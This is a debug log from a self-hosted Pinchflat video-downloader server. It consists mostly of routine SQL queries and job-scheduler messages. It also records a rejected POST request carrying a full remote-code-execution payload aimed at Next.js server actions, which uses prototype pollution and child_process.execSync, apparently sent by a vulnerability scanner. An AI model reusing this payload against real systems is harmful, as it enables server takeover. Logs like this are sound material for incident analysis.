[debug] QUERY OK source="settings" db=0.3ms idle=2.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:49:48.878 [debug] QUERY OK source="settings" db=0.3ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:49:48.879 [debug] QUERY OK source="tasks" db=0.3ms idle=2.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:49:48.880 [debug] QUERY OK source="media_items" db=0.1ms idle=3.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:49:48.881 [debug] QUERY OK source="media_items" db=0.8ms idle=3.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:49:48.882 [debug] QUERY OK source="media_items" db=1.0ms idle=3.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:49:48.885 [debug] QUERY OK source="media_items" db=2.3ms idle=4.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:49:48.886 [debug] QUERY OK source="sources" db=0.4ms idle=6.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:49:48.888 [info] Sent 200 in 15ms 22:49:49.515 [info] GET / 22:49:49.515 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 22:49:49.515 [debug] QUERY OK source="settings" db=0.3ms idle=634.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:49:49.516 [debug] QUERY OK source="media_profiles" db=0.3ms idle=633.3ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 22:49:49.517 [debug] QUERY OK source="sources" db=0.3ms idle=631.3ms SELECT count(s0."id") FROM "sources" AS s0 [] 22:49:49.517 [debug] QUERY OK source="media_items" db=0.7ms idle=630.9ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:49:49.518 [debug] QUERY OK source="media_items" db=0.4ms idle=554.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:49:49.519 [debug] QUERY OK source="settings" db=0.3ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:49:49.519 [debug] QUERY OK source="settings" db=0.4ms idle=2.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:49:49.520 [debug] QUERY OK source="settings" db=0.5ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:49:49.521 [debug] QUERY OK source="tasks" db=0.3ms idle=3.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:49:49.522 [debug] QUERY OK source="media_items" db=0.1ms queue=0.1ms idle=3.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:49:49.523 [debug] QUERY OK source="media_items" db=0.9ms idle=3.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:49:49.525 [debug] QUERY OK source="media_items" db=1.3ms idle=4.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:49:49.526 [debug] QUERY OK source="media_items" db=1.1ms idle=5.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:49:49.527 [debug] QUERY OK source="sources" db=0.3ms idle=5.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:49:49.528 [info] Sent 200 in 13ms 22:50:00.666 [info] {"source":"oban","duration":1412,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:50:16.133 [info] {"source":"oban","duration":882,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:50:46.135 [info] {"source":"oban","duration":1573,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:51:00.667 [info] {"source":"oban","duration":460,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:51:16.137 [info] {"source":"oban","duration":909,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:51:46.139 [info] {"source":"oban","duration":984,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:52:00.668 [info] {"source":"oban","duration":361,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:52:16.141 [info] {"source":"oban","duration":1077,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:52:46.143 [info] {"source":"oban","duration":1082,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:53:00.669 [info] {"source":"oban","duration":453,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:53:16.145 [info] {"source":"oban","duration":1600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:53:46.147 [info] {"source":"oban","duration":824,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:54:00.671 [info] {"source":"oban","duration":1094,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:54:16.149 [info] {"source":"oban","duration":1496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:54:46.151 [info] {"source":"oban","duration":902,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:55:00.673 [info] {"source":"oban","duration":638,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:55:16.153 [info] {"source":"oban","duration":997,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:55:46.155 [info] {"source":"oban","duration":1032,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:56:00.674 [info] {"source":"oban","duration":457,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:56:16.157 [info] {"source":"oban","duration":846,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:56:46.159 [info] {"source":"oban","duration":885,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:57:00.675 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:57:16.161 [info] {"source":"oban","duration":1178,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:57:46.163 [info] {"source":"oban","duration":1199,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:58:00.676 [info] {"source":"oban","duration":554,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:58:16.165 [info] {"source":"oban","duration":1230,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:58:46.166 [info] {"source":"oban","duration":732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:59:00.677 [info] {"source":"oban","duration":584,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:59:16.168 [info] {"source":"oban","duration":1157,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:59:46.169 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:00:00.678 [info] {"source":"oban","duration":455,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:00:16.171 [info] {"source":"oban","duration":1217,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:00:46.173 [info] {"source":"oban","duration":836,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:01:00.679 [info] {"source":"oban","duration":357,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:01:16.175 [info] {"source":"oban","duration":1215,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:01:46.177 [info] {"source":"oban","duration":874,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:02:00.683 [info] {"source":"oban","duration":3188,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:02:16.179 [info] {"source":"oban","duration":954,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:02:46.181 [info] {"source":"oban","duration":796,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:03:00.685 [info] {"source":"oban","duration":1311,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:03:16.183 [info] {"source":"oban","duration":1041,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:03:46.185 [info] {"source":"oban","duration":865,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:04:00.686 [info] {"source":"oban","duration":494,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:04:16.187 [info] {"source":"oban","duration":910,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:04:46.189 [info] {"source":"oban","duration":995,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:05:00.688 [info] {"source":"oban","duration":444,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:05:16.191 [info] {"source":"oban","duration":869,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:05:46.194 [info] {"source":"oban","duration":1571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:05:46.852 [info] POST / 23:05:46.860 [debug] Could not render errors due to no supported media type in accept header. Expected one of ["html", "json"] but got the following formats: * "text/x-component" with extensions: [] To accept custom formats, register them under the :mime library in your config/config.exs file: config :mime, :types, %{ "application/xml" => ["xml"] } And then run `mix deps.clean --build mime` to force it to be recompiled. . Errors will be rendered using the first accepted format "html" as fallback. Please customize the :formats option under the :render_errors configuration in your endpoint if you want to support other formats or choose another fallback 23:05:46.861 [debug] QUERY OK source="settings" db=0.3ms queue=0.2ms idle=1191.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:05:46.864 [debug] QUERY OK source="settings" db=2.5ms queue=0.2ms idle=1192.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:05:46.866 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:05:46.871 [error] #PID<0.5510.0> running PinchflatWeb.Endpoint (connection #PID<0.5509.0>, stream id 1) terminated Server: pinchflat.oddbox.tech:80 (http) Request: POST / ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5509.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 41550}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/x-component", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "connection" => "Upgrade", "content-length" => "648", "content-type" => "multipart/form-data; boundary=8961588ed8edb07463381fa35d404007e379652c8c7e3c5fa60aaa05e944", "host" => "pinchflat.oddbox.tech", "next-action" => "x", "origin" => "https://pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "85.11.167.19", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-real-ip" => "85.11.167.19" }, method: "POST", body_length: 648, path_info: :undefined, qs: "", streamid: 1, has_body: true, host_info: :undefined, has_read_body: true }}, assigns: %{}, body_params: %{ "0" => "{\"_response\":{\"_formData\":{\"get\":\"$1:constructor:constructor\"},\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('echo VULN_1774159546_3199',{'timeout':30000}).toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`${res}`});\"},\"reason\":-1,\"status\":\"resolved_model\",\"then\":\"$1:__proto__:then\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\"}", "1" => "\"$@0\"" }, cookies: %{}, halted: false, host: "pinchflat.oddbox.tech", method: "POST", owner: #PID<0.5510.0>, params: %{ "0" => "{\"_response\":{\"_formData\":{\"get\":\"$1:constructor:constructor\"},\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('echo VULN_1774159546_3199',{'timeout':30000}).toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`${res}`});\"},\"reason\":-1,\"status\":\"resolved_model\",\"then\":\"$1:__proto__:then\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\"}", "1" => "\"$@0\"" }, path_info: [], path_params: %{}, port: 80, private: %{ :plug_multipart => :done, PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.oddbox.tech", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/x-component"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"connection", "Upgrade"}, {"content-length", "648"}, {"content-type", "multipart/form-data; boundary=8961588ed8edb07463381fa35d404007e379652c8c7e3c5fa60aaa05e944"}, {"host", "pinchflat.oddbox.tech"}, {"next-action", "x"}, {"origin", "https://pinchflat.oddbox.tech"}, {"referer", "https://pinchflat.oddbox.tech"}, {"upgrade", "websocket"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "85.11.167.19"}, {"x-forwarded-host", "pinchflat.oddbox.tech"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "srv1511474"}, {"x-real-ip", "85.11.167.19"} ], request_path: "/", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJ8UtT0Jxm9sJuEAAGRx"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5509.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 41550}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/x-component", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "connection" => "Upgrade", "content-length" => "648", "content-type" => "multipart/form-data; boundary=8961588ed8edb07463381fa35d404007e379652c8c7e3c5fa60aaa05e944", "host" => "pinchflat.oddbox.tech", "next-action" => "x", "origin" => "https://pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "85.11.167.19", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-real-ip" => "85.11.167.19" }, method: "POST", body_length: 648, path_info: :undefined, qs: "", streamid: 1, has_body: true, host_info: :undefined, has_read_body: true }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5509.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 41550}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :un (truncated) 23:05:47.155 [info] POST / 23:05:47.155 [debug] Could not render errors due to no supported media type in accept header. Expected one of ["html", "json"] but got the following formats: * "text/x-component" with extensions: [] To accept custom formats, register them under the :mime library in your config/config.exs file: config :mime, :types, %{ "application/xml" => ["xml"] } And then run `mix deps.clean --build mime` to force it to be recompiled. . Errors will be rendered using the first accepted format "html" as fallback. Please customize the :formats option under the :render_errors configuration in your endpoint if you want to support other formats or choose another fallback 23:05:47.155 [debug] QUERY OK source="settings" db=0.3ms idle=1486.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:05:47.156 [debug] QUERY OK source="settings" db=0.2ms idle=987.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", 